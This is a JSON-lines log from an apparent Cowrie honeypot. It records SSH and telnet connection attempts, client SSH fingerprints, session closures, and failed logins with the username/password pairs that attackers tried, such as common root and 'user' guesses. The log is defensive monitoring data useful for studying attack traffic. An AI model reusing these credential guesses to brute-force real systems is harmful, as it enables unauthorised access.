{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63680,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf975c5c8d0","protocol":"telnet","message":"New connection: 212.55.149.117:63680 (10.17.0.5:23) [session: fdf975c5c8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:55.206646Z"}
{"eventid":"cowrie.session.closed","duration":59.582834005355835,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:12.297951Z","src_ip":"212.55.149.117","session":"5e06a253b209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":35568,"dst_ip":"10.17.0.5","dst_port":22,"session":"5643ea70c860","protocol":"ssh","message":"New connection: 202.165.15.132:35568 (10.17.0.5:22) [session: 5643ea70c860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:36.557256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:36.563710Z","src_ip":"202.165.15.132","session":"5643ea70c860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:36.803456Z","src_ip":"202.165.15.132","session":"5643ea70c860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.202.6.105","src_port":53742,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d07b86649b","protocol":"telnet","message":"New connection: 196.202.6.105:53742 (159.203.135.109:23) [session: 19d07b86649b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:36.837868Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"id","message":"login attempt [ubuntu/id] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:37.767619Z","src_ip":"202.165.15.132","session":"5643ea70c860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27831,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f478e5066b","protocol":"telnet","message":"New connection: 212.55.149.117:27831 (10.17.0.5:23) [session: f9f478e5066b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:38.508105Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:39.015748Z","src_ip":"202.165.15.132","session":"5643ea70c860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.758918046951294,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:50.596645Z","src_ip":"196.202.6.105","session":"19d07b86649b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.385082483291626,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:26:56.591617Z","src_ip":"212.55.149.117","session":"fdf975c5c8d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":13858,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d5d1aaca659","protocol":"ssh","message":"New connection: 193.24.211.100:13858 (159.203.135.109:22) [session: 3d5d1aaca659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:29.408777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:29.413777Z","src_ip":"193.24.211.100","session":"3d5d1aaca659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:29.528890Z","src_ip":"193.24.211.100","session":"3d5d1aaca659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste","message":"login attempt [root/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:30.008574Z","src_ip":"193.24.211.100","session":"3d5d1aaca659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00230169296265,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:30.884355Z","src_ip":"212.55.149.117","session":"209b44a521f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:31.126064Z","src_ip":"193.24.211.100","session":"3d5d1aaca659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":5937,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2d2d0917fe","protocol":"telnet","message":"New connection: 212.55.149.117:5937 (10.17.0.5:23) [session: be2d2d0917fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:31.651037Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56628,"dst_ip":"10.17.0.5","dst_port":22,"session":"8377d6314ea0","protocol":"ssh","message":"New connection: 193.32.162.145:56628 (10.17.0.5:22) [session: 8377d6314ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:32.924673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:32.929669Z","src_ip":"193.32.162.145","session":"8377d6314ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:33.073457Z","src_ip":"193.32.162.145","session":"8377d6314ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":18691,"dst_ip":"10.17.0.5","dst_port":22,"session":"233bbc9ab3f5","protocol":"ssh","message":"New connection: 202.165.15.132:18691 (10.17.0.5:22) [session: 233bbc9ab3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:33.478397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:33.482963Z","src_ip":"202.165.15.132","session":"233bbc9ab3f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moonbeam","message":"login attempt [ubuntu/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:33.517932Z","src_ip":"193.32.162.145","session":"8377d6314ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:33.722756Z","src_ip":"202.165.15.132","session":"233bbc9ab3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:34.627049Z","src_ip":"193.32.162.145","session":"8377d6314ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeakuser","message":"login attempt [teamspeak/teamspeakuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:34.714503Z","src_ip":"202.165.15.132","session":"233bbc9ab3f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":52146,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4b2a49b86c4","protocol":"ssh","message":"New connection: 103.15.226.202:52146 (10.17.0.5:22) [session: c4b2a49b86c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:35.941168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:35.946354Z","src_ip":"103.15.226.202","session":"c4b2a49b86c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:35.958531Z","src_ip":"202.165.15.132","session":"233bbc9ab3f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":21047,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccf52e8cc0a0","protocol":"ssh","message":"New connection: 2.57.121.25:21047 (10.17.0.5:22) [session: ccf52e8cc0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:36.151021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:36.155342Z","src_ip":"2.57.121.25","session":"ccf52e8cc0a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:36.194794Z","src_ip":"103.15.226.202","session":"c4b2a49b86c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:36.259284Z","src_ip":"2.57.121.25","session":"ccf52e8cc0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17121981","message":"login attempt [user/17121981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:36.746703Z","src_ip":"2.57.121.25","session":"ccf52e8cc0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:36.942736Z","src_ip":"103.15.226.202","session":"c4b2a49b86c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"171090","message":"login attempt [user/171090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:37.853854Z","src_ip":"2.57.121.25","session":"ccf52e8cc0a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:38.195841Z","src_ip":"103.15.226.202","session":"c4b2a49b86c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"170982","message":"login attempt [user/170982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:38.961343Z","src_ip":"2.57.121.25","session":"ccf52e8cc0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54694,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a58cb00821f","protocol":"ssh","message":"New connection: 2.57.122.210:54694 (10.17.0.5:22) [session: 3a58cb00821f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:39.624835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:39.649091Z","src_ip":"2.57.122.210","session":"3a58cb00821f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:39.824429Z","src_ip":"2.57.122.210","session":"3a58cb00821f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17091988","message":"login attempt [user/17091988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:40.068275Z","src_ip":"2.57.121.25","session":"ccf52e8cc0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:40.390368Z","src_ip":"2.57.122.210","session":"3a58cb00821f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"170889","message":"login attempt [user/170889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:41.175503Z","src_ip":"2.57.121.25","session":"ccf52e8cc0a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:41.537471Z","src_ip":"2.57.122.210","session":"3a58cb00821f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:42.282142Z","src_ip":"2.57.121.25","session":"ccf52e8cc0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39234,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe395a38d0dd","protocol":"telnet","message":"New connection: 212.55.149.117:39234 (10.17.0.5:23) [session: fe395a38d0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:27:45.540633Z"}
